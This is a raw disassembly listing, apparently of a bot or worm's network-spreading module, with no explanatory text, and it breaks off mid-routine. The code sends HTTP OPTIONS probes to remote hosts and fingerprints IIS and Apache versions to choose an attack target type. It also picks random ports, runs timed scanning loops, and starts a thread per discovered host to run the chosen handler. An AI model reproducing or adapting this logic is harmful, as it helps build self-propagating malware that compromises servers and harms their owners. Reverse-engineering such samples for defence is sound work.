loc_412CD1: ; CODE XREF: sub_412BC9+FBj lea eax, [ebp+var_84C] push eax push [ebp+var_858] call sub_41294E pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412CF9 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- loc_412CF9: ; CODE XREF: sub_412BC9+123j push [ebp+var_8] call sub_4127D0 pop ecx test eax, eax jnz short loc_412D11 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- loc_412D11: ; CODE XREF: sub_412BC9+13Bj push offset dword_41CC68 push [ebp+var_8] lea eax, [ebp+var_84C] push eax push [ebp+var_4] call sub_4129CA add esp, 10h push 1 push [ebp+var_8] call ds:dword_417200 ; shutdown push 3E8h call ds:dword_41709C ; Sleep push [ebp+var_8] call sub_4053B1 pop ecx locret_412D4A: ; CODE XREF: sub_412BC9+D7j ; sub_412BC9+106j ... leave retn sub_412BC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412D4C proc near ; CODE XREF: sub_41331E:loc_413420p push ebp mov ebp, esp mov eax, offset dword_41EB24 pop ebp retn sub_412D4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412D56 proc near ; DATA XREF: sub_412E04+CAo var_48 = dword ptr -48h var_44 = byte ptr -44h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 48h mov eax, [ebp+arg_0] mov [ebp+var_8], eax push [ebp+var_8] call sub_412720 pop ecx push [ebp+var_8] call sub_412919 pop ecx mov [ebp+var_48], eax cmp [ebp+var_48], 0 jnz short loc_412D8A push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412D8A: ; CODE XREF: sub_412D56+25j lea eax, [ebp+var_44] push eax push [ebp+var_48] call sub_41294E pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412DAE push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412DAE: ; CODE XREF: sub_412D56+49j push [ebp+var_8] call sub_4127D0 pop ecx test eax, eax jnz short loc_412DC8 push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412DC8: ; CODE XREF: sub_412D56+63j push offset dword_41CC6C push [ebp+var_8] lea eax, [ebp+var_44] push eax push [ebp+var_4] call sub_4129CA add esp, 10h push 1 push [ebp+var_8] call ds:dword_417200 ; shutdown push 3E8h call ds:dword_41709C ; Sleep push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax locret_412E00: ; CODE XREF: sub_412D56+32j ; sub_412D56+56j ... leave retn 4 sub_412D56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412E04 proc near ; DATA XREF: sub_412F07+B0o var_1B8 = dword ptr -1B8h var_1B4 = dword ptr -1B4h var_1B0 = byte ptr -1B0h var_1AA = byte ptr -1AAh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B8h push 1ADh push [ebp+arg_0] lea eax, [ebp+var_1B4] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 1 lea eax, [ebp+var_1B0] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412E59 push [ebp+var_1B4] call sub_409763 pop ecx xor eax, eax jmp locret_412F03 ; --------------------------------------------------------------------------- loc_412E59: ; CODE XREF: sub_412E04+40j lea eax, [ebp+var_1B0] push eax mov eax, [ebp+var_1B4] push dword ptr [eax] push offset dword_41CC70 lea eax, [ebp+var_1AA] push eax call sub_40D53F add esp, 10h lea eax, [ebp+var_1B0] push eax push offset dword_41EB24 call sub_416B3A ; strcpy pop ecx pop ecx loc_412E8F: ; CODE XREF: sub_412E04+B7j ; sub_412E04:loc_412EEAj mov eax, [ebp+var_1B4] cmp dword ptr [eax+4], 0 jz short loc_412E9D jmp short loc_412EEC ; --------------------------------------------------------------------------- loc_412E9D: ; CODE XREF: sub_412E04+95j push 3E8h push [ebp+var_4] call sub_4048EF pop ecx pop ecx mov [ebp+var_1B8], eax cmp [ebp+var_1B8], 0FFFFFFFFh jnz short loc_412EBD jmp short loc_412E8F ; --------------------------------------------------------------------------- loc_412EBD: ; CODE XREF: sub_412E04+B5j cmp [ebp+var_1B8], 0 jnz short loc_412EC8 jmp short loc_412EEC ; --------------------------------------------------------------------------- loc_412EC8: ; CODE XREF: sub_412E04+C0j push [ebp+var_1B8] push offset sub_412D56 call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_412EEA push [ebp+var_1B8] call sub_4053B1 pop ecx loc_412EEA: ; CODE XREF: sub_412E04+D8j jmp short loc_412E8F ; --------------------------------------------------------------------------- loc_412EEC: ; CODE XREF: sub_412E04+97j ; sub_412E04+C2j push [ebp+var_4] call sub_404CBB pop ecx push [ebp+var_1B4] call sub_409763 pop ecx xor eax, eax locret_412F03: ; CODE XREF: sub_412E04+50j leave retn 4 sub_412E04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412F07 proc near ; CODE XREF: sub_40A9CF+F6Ep ; sub_41349C+2C7p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push 1ADh call sub_416B46 ; malloc pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_412F26 jmp locret_412FC4 ; --------------------------------------------------------------------------- loc_412F26: ; CODE XREF: sub_412F07+18j cmp [ebp+arg_4], 0 jz short loc_412F3A push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_C], eax jmp short loc_412F4E ; --------------------------------------------------------------------------- loc_412F3A: ; CODE XREF: sub_412F07+23j push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx mov [ebp+var_C], eax loc_412F4E: ; CODE XREF: sub_412F07+31j mov eax, [ebp+var_C] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_412F63 cmp [ebp+var_4], 0FFFFh jbe short loc_412F77 loc_412F63: ; CODE XREF: sub_412F07+51j push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx mov [ebp+var_4], eax loc_412F77: ; CODE XREF: sub_412F07+5Aj push 0Ah mov eax, [ebp+var_8] add eax, 4 push eax push [ebp+var_4] call sub_416F7A ; _itoa add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_8] add eax, 0Ah push eax call sub_405F67 pop ecx pop ecx push [ebp+var_4] push offset dword_41CCA8 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_8] push offset sub_412E04 call sub_4095A4 add esp, 14h locret_412FC4: ; CODE XREF: sub_412F07+1Aj leave retn sub_412F07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412FC6 proc near ; CODE XREF: .text:004168CBp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_412FD8 ; --------------------------------------------------------------------------- loc_412FD1: ; CODE XREF: sub_412FC6:loc_413088j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_412FD8: ; CODE XREF: sub_412FC6+9j mov eax, [ebp+var_4] imul eax, 3Ah cmp off_41CCFE[eax], 0 jz locret_41308D mov eax, [ebp+var_4] imul eax, 3Ah mov ecx, [ebp+var_4] imul ecx, 3Ah mov ecx, dword_41CCF6[ecx] and ecx, 0FFh mov eax, off_41CCFE[eax] sub eax, ecx mov ecx, [ebp+var_4] imul ecx, 3Ah mov off_41CCFE[ecx], eax mov eax, [ebp+var_4] imul eax, 3Ah and dword_41CCFA[eax], 0 loc_413024: ; CODE XREF: sub_412FC6+7Ej ; sub_412FC6+BEj call sub_410422 mov ecx, [ebp+var_4] imul ecx, 3Ah mov dword_41CCF6[ecx], eax mov eax, [ebp+var_4] imul eax, 3Ah cmp dword_41CCF6[eax], 0 jnz short loc_413046 jmp short loc_413024 ; --------------------------------------------------------------------------- loc_413046: ; CODE XREF: sub_412FC6+7Cj and [ebp+var_8], 0 jmp short loc_413053 ; --------------------------------------------------------------------------- loc_41304C: ; CODE XREF: sub_412FC6:loc_413086j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_413053: ; CODE XREF: sub_412FC6+84j mov eax, [ebp+var_8] imul eax, 3Ah cmp off_41CCFE[eax], 0 jz short loc_413088 mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jz short loc_413086 mov eax, [ebp+var_4] imul eax, 3Ah mov ecx, [ebp+var_8] imul ecx, 3Ah mov eax, dword_41CCF6[eax] cmp eax, dword_41CCF6[ecx] jnz short loc_413086 jmp short loc_413024 ; --------------------------------------------------------------------------- loc_413086: ; CODE XREF: sub_412FC6+A2j ; sub_412FC6+BCj jmp short loc_41304C ; --------------------------------------------------------------------------- loc_413088: ; CODE XREF: sub_412FC6+9Aj jmp loc_412FD1 ; --------------------------------------------------------------------------- locret_41308D: ; CODE XREF: sub_412FC6+1Fj leave retn sub_412FC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41308F proc near ; CODE XREF: sub_41331E+72p var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = byte ptr -810h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 820h push 16h push offset aOptionsHttp1_0 ; "OPTIONS / HTTP/1.0\r\n\r\n" push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 0EA60h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_4130C4 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4130C4: ; CODE XREF: sub_41308F+2Cj push 0 push 800h lea eax, [ebp+var_810] push eax push [ebp+arg_0] call ds:dword_417248 ; recv mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4130F3 cmp [ebp+var_8], 0FFFFFFFFh jz short loc_4130F3 cmp [ebp+var_8], 800h jnz short loc_4130FA loc_4130F3: ; CODE XREF: sub_41308F+53j ; sub_41308F+59j xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4130FA: ; CODE XREF: sub_41308F+62j mov eax, [ebp+var_8] and [ebp+eax+var_810], 0 and [ebp+var_4], 0 push offset aServer ; "Server:" lea eax, [ebp+var_810] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_41312C xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_41312C: ; CODE XREF: sub_41308F+94j lea eax, [ebp+var_4] push eax push offset dword_418F4C push [ebp+var_10] call sub_40813C add esp, 0Ch mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_413150 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413150: ; CODE XREF: sub_41308F+B8j lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_413173 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413173: ; CODE XREF: sub_41308F+DBj lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp+var_C], eax push 0Dh push offset aMicrosoftIis ; "Microsoft-IIS" push [ebp+var_10] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_41323C and [ebp+var_818], 0 and [ebp+var_814], 0 lea eax, [ebp+var_814] push eax lea eax, [ebp+var_818] push eax push offset aMicrosoftIisU_ ; "Microsoft-IIS/%u.%u" push [ebp+var_10] call sub_416BA2 ; sscanf add esp, 10h cmp [ebp+var_818], 4 jnz short loc_4131E9 cmp [ebp+var_814], 0 jnz short loc_4131E9 push 4 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4131E9: ; CODE XREF: sub_41308F+147j ; sub_41308F+150j cmp [ebp+var_818], 5 jnz short loc_413203 cmp [ebp+var_814], 0 jnz short loc_413203 push 3 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413203: ; CODE XREF: sub_41308F+161j ; sub_41308F+16Aj cmp [ebp+var_818], 5 jnz short loc_41321D cmp [ebp+var_814], 5 jnz short loc_41321D push 2 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_41321D: ; CODE XREF: sub_41308F+17Bj ; sub_41308F+184j cmp [ebp+var_818], 6 jnz short loc_413237 cmp [ebp+var_814], 0 jnz short loc_413237 push 1 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413237: ; CODE XREF: sub_41308F+195j ; sub_41308F+19Ej jmp loc_41331A ; --------------------------------------------------------------------------- loc_41323C: ; CODE XREF: sub_41308F+10Ej cmp [ebp+var_C], 0 jz loc_41331A push 6 push offset aApache ; "Apache" push [ebp+var_10] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_41331A and [ebp+var_820], 0 lea eax, [ebp+var_820] push eax push offset aApacheU ; "Apache/%u" push [ebp+var_10] call sub_416BA2 ; sscanf add esp, 0Ch push 6 push offset aUnix ; "(Unix)" push [ebp+var_C] call sub_416F80 ; _strnicmp add esp, 0Ch neg eax sbb eax, eax inc eax mov [ebp+var_81C], eax cmp [ebp+var_81C], 1 jnz short loc_4132BE push 7 push offset aWin32 ; "(Win32)" push [ebp+var_C] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jz short loc_4132BE xor eax, eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_4132BE: ; CODE XREF: sub_41308F+213j ; sub_41308F+229j cmp [ebp+var_820], 1 jnz short loc_4132D5 cmp [ebp+var_81C], 0 jz short loc_4132D5 push 6 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_4132D5: ; CODE XREF: sub_41308F+236j ; sub_41308F+23Fj cmp [ebp+var_820], 1 jnz short loc_4132EC cmp [ebp+var_81C], 0 jnz short loc_4132EC push 5 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_4132EC: ; CODE XREF: sub_41308F+24Dj ; sub_41308F+256j cmp [ebp+var_820], 2 jnz short loc_413303 cmp [ebp+var_81C], 0 jz short loc_413303 push 6 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_413303: ; CODE XREF: sub_41308F+264j ; sub_41308F+26Dj cmp [ebp+var_820], 2 jnz short loc_41331A cmp [ebp+var_81C], 0 jnz short loc_41331A push 5 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_41331A: ; CODE XREF: sub_41308F:loc_413237j ; sub_41308F+1B1j ... xor eax, eax locret_41331C: ; CODE XREF: sub_41308F+30j ; sub_41308F+66j ... leave retn sub_41308F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41331E proc near ; DATA XREF: sub_41349C+4EBo ; sub_413CB3+27Co var_14C = dword ptr -14Ch var_11A = dword ptr -11Ah var_112 = dword ptr -112h var_10E = dword ptr -10Eh var_10A = byte ptr -10Ah var_8A = dword ptr -8Ah var_86 = byte ptr -86h var_6 = byte ptr -6 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14Ch push 14Ch push [ebp+arg_0] lea eax, [ebp+var_14C] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 1 push [ebp+var_10E] call sub_404457 pop ecx pop ecx lea eax, [ebp+var_10A] push eax push [ebp+var_10E] call sub_4044F7 pop ecx pop ecx test eax, eax jnz short loc_413381 push [ebp+var_10E] call sub_40538D pop ecx xor eax, eax jmp locret_413498 ; --------------------------------------------------------------------------- loc_413381: ; CODE XREF: sub_41331E+4Ej cmp [ebp+var_112], 0 jz short loc_4133B1 push [ebp+var_10E] call sub_41308F pop ecx cmp [ebp+var_112], eax jz short loc_4133B1 push [ebp+var_10E] call sub_4053B1 pop ecx xor eax, eax jmp locret_413498 ; --------------------------------------------------------------------------- loc_4133B1: ; CODE XREF: sub_41331E+6Aj ; sub_41331E+7Ej cmp [ebp+var_8A], 1 jnz short loc_4133E0 lea eax, [ebp+var_6] push eax push [ebp+var_10E] call sub_404552 pop ecx pop ecx push offset dword_41EF48 lea eax, [ebp+var_86] push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_413444 ; --------------------------------------------------------------------------- loc_4133E0: ; CODE XREF: sub_41331E+9Aj cmp [ebp+var_8A], 2 jnz short loc_413420 push 0Ah lea eax, [ebp+var_6] push eax push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp+var_10A] push eax lea eax, [ebp+var_86] push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_413444 ; --------------------------------------------------------------------------- loc_413420: ; CODE XREF: sub_41331E+C9j call sub_412D4C push eax lea eax, [ebp+var_6] push eax call sub_416B3A ; strcpy pop ecx pop ecx push offset dword_41EF48 lea eax, [ebp+var_86] push eax call sub_416B3A ; strcpy pop ecx pop ecx loc_413444: ; CODE XREF: sub_41331E+C0j ; sub_41331E+100j lea eax, [ebp+var_14C] push eax call [ebp+var_11A] cmp [ebp+var_8A], 1 jnz short loc_41346F push [ebp+var_10E] push [ebp+var_14C] call sub_412A3A pop ecx pop ecx jmp short loc_41348A ; --------------------------------------------------------------------------- loc_41346F: ; CODE XREF: sub_41331E+13Aj cmp [ebp+var_8A], 2 jnz short loc_41348A lea eax, [ebp+var_6] push eax lea eax, [ebp+var_86] push eax call sub_412BC9 pop ecx pop ecx loc_41348A: ; CODE XREF: sub_41331E+14Fj ; sub_41331E+158j push [ebp+var_10E] call sub_4053B1 pop ecx xor eax, eax locret_413498: ; CODE XREF: sub_41331E+5Ej ; sub_41331E+8Ej leave retn 4 sub_41331E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41349C proc near ; DATA XREF: sub_413AB0+1F4o var_774 = qword ptr -774h var_764 = qword ptr -764h var_75C = byte ptr -75Ch var_65C = byte ptr -65Ch var_658 = dword ptr -658h var_654 = dword ptr -654h var_650 = dword ptr -650h var_64C = byte ptr -64Ch var_648 = byte ptr -648h var_644 = dword ptr -644h var_640 = byte ptr -640h var_62C = dword ptr -62Ch var_628 = dword ptr -628h var_624 = byte ptr -624h var_51C = byte ptr -51Ch var_50E = dword ptr -50Eh var_50A = dword ptr -50Ah var_506 = dword ptr -506h var_502 = byte ptr -502h var_37B = byte ptr -37Bh var_37A = byte ptr -37Ah var_377 = byte ptr -377h var_36B = byte ptr -36Bh var_36A = byte ptr -36Ah var_35C = dword ptr -35Ch var_358 = dword ptr -358h var_354 = byte ptr -354h var_341 = byte ptr -341h var_296 = dword ptr -296h var_20C = byte ptr -20Ch var_20B = byte ptr -20Bh var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_107 = byte ptr -107h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 764h push edi push 2C9h push [ebp+arg_0] lea eax, [ebp+var_628] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_51C] push eax call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_4134F5 push 14Ch push 0 lea eax, [ebp+var_358] push eax call sub_416B6A ; memset add esp, 0Ch jmp loc_4135BF ; --------------------------------------------------------------------------- loc_4134F5: ; CODE XREF: sub_41349C+3Cj and [ebp+var_62C], 0 jmp short loc_41350B ; --------------------------------------------------------------------------- loc_4134FE: ; CODE XREF: sub_41349C:loc_4135BAj mov eax, [ebp+var_62C] inc eax mov [ebp+var_62C], eax loc_41350B: ; CODE XREF: sub_41349C+60j mov eax, [ebp+var_62C] imul eax, 3Ah add eax, offset aJeP ; "†…ØÝ¯" push eax lea eax, [ebp+var_640] push eax call sub_416B3A ; strcpy pop ecx pop ecx lea eax, [ebp+var_640] push eax call sub_4105FB pop ecx lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_640] push eax call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_4135BA mov eax, [ebp+var_62C] imul eax, 3Ah add eax, offset aJeP ; "†…ØÝ¯" mov [ebp+var_358], eax push 3Ah mov eax, [ebp+var_62C] imul eax, 3Ah add eax, offset aJeP ; "†…ØÝ¯" push eax lea eax, [ebp+var_354] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_354] push eax call sub_4105FB pop ecx lea eax, [ebp+var_341] push eax call sub_4105FB pop ecx and [ebp+var_296], 0 lea eax, [ebp+var_341] push eax lea eax, [ebp+var_51C] push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_4135BF ; --------------------------------------------------------------------------- loc_4135BA: ; CODE XREF: sub_41349C+B0j jmp loc_4134FE ; --------------------------------------------------------------------------- loc_4135BF: ; CODE XREF: sub_41349C+54j ; sub_41349C+11Cj lea eax, [ebp+var_624] push eax call sub_40806A pop ecx test eax, eax jnz short loc_4135E3 push [ebp+var_628] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_4135E3: ; CODE XREF: sub_41349C+132j mov al, byte_41DE30 mov [ebp+var_20C], al push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_20B] rep stosd stosw stosb mov al, byte_41DE30 mov [ebp+var_108], al push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_107] rep stosd stosw stosb lea eax, [ebp+var_108] push eax lea eax, [ebp+var_624] push eax lea eax, [ebp+var_20C] push eax call sub_407F3D add esp, 0Ch test eax, eax jnz short loc_41364D push [ebp+var_628] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_41364D: ; CODE XREF: sub_41349C+19Cj push [ebp+var_506] call sub_404D10 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_413675 push [ebp+var_628] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_413675: ; CODE XREF: sub_41349C+1C4j cmp [ebp+var_358], 0 jz loc_413782 mov eax, [ebp+var_358] mov eax, [eax+32h] and eax, 1 test eax, eax jz loc_413782 call sub_4042FB mov [ebp+var_644], eax cmp [ebp+var_644], 0 jz short loc_4136B6 mov [ebp+var_296], 2 jmp short loc_4136C0 ; --------------------------------------------------------------------------- loc_4136B6: ; CODE XREF: sub_41349C+20Cj mov [ebp+var_296], 3 loc_4136C0: ; CODE XREF: sub_41349C+218j movsx eax, [ebp+var_36B] test eax, eax jz short loc_4136E5 mov eax, [ebp+var_358] mov eax, [eax+32h] and eax, 2 test eax, eax jnz short loc_4136E5 mov [ebp+var_296], 1 loc_4136E5: ; CODE XREF: sub_41349C+22Dj ; sub_41349C+23Dj movsx eax, [ebp+var_37B] test eax, eax jz short loc_4136FA mov [ebp+var_296], 2 loc_4136FA: ; CODE XREF: sub_41349C+252j movsx eax, [ebp+var_37A] test eax, eax jz short loc_41370F mov [ebp+var_296], 3 loc_41370F: ; CODE XREF: sub_41349C+267j cmp [ebp+var_296], 3 jnz short loc_41372B cmp [ebp+var_644], 0 jz short loc_41372B mov [ebp+var_296], 2 loc_41372B: ; CODE XREF: sub_41349C+27Aj ; sub_41349C+283j cmp [ebp+var_296], 3 jnz short loc_413782 mov al, [ebp+var_36A] mov [ebp+var_64C], al mov al, [ebp+var_377] mov [ebp+var_648], al mov [ebp+var_36A], 1 and [ebp+var_377], 0 push 0 lea eax, [ebp+var_502] push eax call sub_412F07 pop ecx pop ecx mov al, [ebp+var_64C] mov [ebp+var_36A], al mov al, [ebp+var_648] mov [ebp+var_377], al loc_413782: ; CODE XREF: sub_41349C+1E0j ; sub_41349C+1F4j ... push offset dword_41E2D8 call sub_409C6C pop ecx push [ebp+var_50E] lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_624] push eax push offset dword_41CE78 mov eax, [ebp+var_628] add eax, 14h push eax call sub_416B5E ; sprintf add esp, 14h push offset dword_41E2D8 call sub_409C7A pop ecx push [ebp+var_50E] lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_624] push eax mov eax, [ebp+var_628] push dword ptr [eax] push offset dword_41CE40 lea eax, [ebp+var_502] push eax call sub_40D53F add esp, 18h cmp [ebp+var_358], 0 jnz short loc_413807 push 3E8h call ds:dword_41709C ; Sleep loc_413807: ; CODE XREF: sub_41349C+35Ej and [ebp+var_10C], 0 call sub_416B64 ; clock mov [ebp+var_35C], eax and [ebp+var_4], 0 loc_41381D: ; CODE XREF: sub_41349C+3F9j ; sub_41349C+44Bj ... mov eax, [ebp+var_628] cmp dword ptr [eax+4], 0 jnz short loc_413847 call sub_416B64 ; clock add eax, [ebp+var_4] sub eax, [ebp+var_35C] mov ecx, [ebp+var_50E] imul ecx, 3E8h cmp eax, ecx jb short loc_41384C loc_413847: ; CODE XREF: sub_41349C+38Bj jmp loc_413A43 ; --------------------------------------------------------------------------- loc_41384C: ; CODE XREF: sub_41349C+3A9j lea eax, [ebp+var_108] push eax lea eax, [ebp+var_20C] push eax call sub_416B3A ; strcpy pop ecx pop ecx lea eax, [ebp+var_108] push eax lea eax, [ebp+var_624] push eax lea eax, [ebp+var_20C] push eax call sub_407F3D add esp, 0Ch push offset dword_41EF48 lea eax, [ebp+var_20C] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_413897 jmp short loc_41381D ; --------------------------------------------------------------------------- loc_413897: ; CODE XREF: sub_41349C+3F7j push [ebp+var_8] push 0 lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_20C] push eax call sub_404FE7 add esp, 0Ch push eax call sub_404D4D pop ecx pop ecx mov [ebp+var_650], eax cmp [ebp+var_650], 0 jz short loc_4138EC call sub_416B64 ; clock add eax, [ebp+var_4] sub eax, [ebp+var_35C] mov ecx, [ebp+var_50E] imul ecx, 3E8h cmp eax, ecx jnb short loc_4138EC jmp loc_41381D ; --------------------------------------------------------------------------- loc_4138EC: ; CODE XREF: sub_41349C+42Bj ; sub_41349C+449j push [ebp+var_50A] call ds:dword_41709C ; Sleep push [ebp+var_8] call sub_404E1C pop ecx test eax, eax jz loc_413A35 loc_413909: ; CODE XREF: sub_41349C+4BAj ; sub_41349C:loc_413A30j push [ebp+var_8] call sub_404F24 pop ecx mov [ebp+var_654], eax cmp [ebp+var_654], 0 jnz short loc_413926 jmp loc_413A35 ; --------------------------------------------------------------------------- loc_413926: ; CODE XREF: sub_41349C+483j mov eax, [ebp+var_10C] inc eax mov [ebp+var_10C], eax cmp [ebp+var_358], 0 jz short loc_4139B7 push 14Ch call sub_416B46 ; malloc pop ecx mov [ebp+var_658], eax cmp [ebp+var_658], 0 jnz short loc_413958 jmp short loc_413909 ; --------------------------------------------------------------------------- loc_413958: ; CODE XREF: sub_41349C+4B8j push 14Ch lea eax, [ebp+var_358] push eax push [ebp+var_658] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_658] mov ecx, [ebp+var_654] mov [eax+3Eh], ecx push [ebp+var_658] push offset sub_41331E call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_4139A5 push [ebp+var_658] call sub_416B4C ; free pop ecx jmp short loc_4139B5 ; --------------------------------------------------------------------------- loc_4139A5: ; CODE XREF: sub_41349C+4F9j push [ebp+var_8] push [ebp+var_654] call sub_404D9B pop ecx pop ecx loc_4139B5: ; CODE XREF: sub_41349C+507j jmp short loc_413A30 ; --------------------------------------------------------------------------- loc_4139B7: ; CODE XREF: sub_41349C+49Ej mov eax, [ebp+var_628] cmp dword ptr [eax+4], 0 jz short loc_4139C5 jmp short loc_413A35 ; --------------------------------------------------------------------------- loc_4139C5: ; CODE XREF: sub_41349C+525j lea eax, [ebp+var_75C] push eax push [ebp+var_654] call sub_4044F7 pop ecx pop ecx mov al, [ebp+var_36A] mov [ebp+var_65C], al and [ebp+var_36A], 0 lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_75C] push eax push offset dword_41CE2C lea eax, [ebp+var_502] push eax call sub_40D53F add esp, 10h mov al, [ebp+var_65C] mov [ebp+var_36A], al push 3E8h call ds:dword_41709C ; Sleep mov eax, [ebp+var_4] add eax, 3E8h mov [ebp+var_4], eax loc_413A30: ; CODE XREF: sub_41349C:loc_4139B5j jmp loc_413909 ; --------------------------------------------------------------------------- loc_413A35: ; CODE XREF: sub_41349C+467j ; sub_41349C+485j ... push [ebp+var_8] call sub_404F7D pop ecx jmp loc_41381D ; --------------------------------------------------------------------------- loc_413A43: ; CODE XREF: sub_41349C:loc_413847j push [ebp+var_10C] call sub_416B64 ; clock sub eax, [ebp+var_35C] mov dword ptr [ebp+var_764], eax and dword ptr [ebp+var_764+4], 0 fild [ebp+var_764] fdiv ds:flt_417270 push ecx push ecx fstp [esp+774h+var_774] lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_624] push eax push offset unk_41CDE8 lea eax, [ebp+var_502] push eax call sub_40D53F add esp, 1Ch push [ebp+var_8] call sub_404FD0 pop ecx push [ebp+var_628] call sub_409763 pop ecx xor eax, eax loc_413AAB: ; CODE XREF: sub_41349C+142j ; sub_41349C+1ACj ... pop edi leave retn 4 sub_41349C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413AB0 proc near ; CODE XREF: 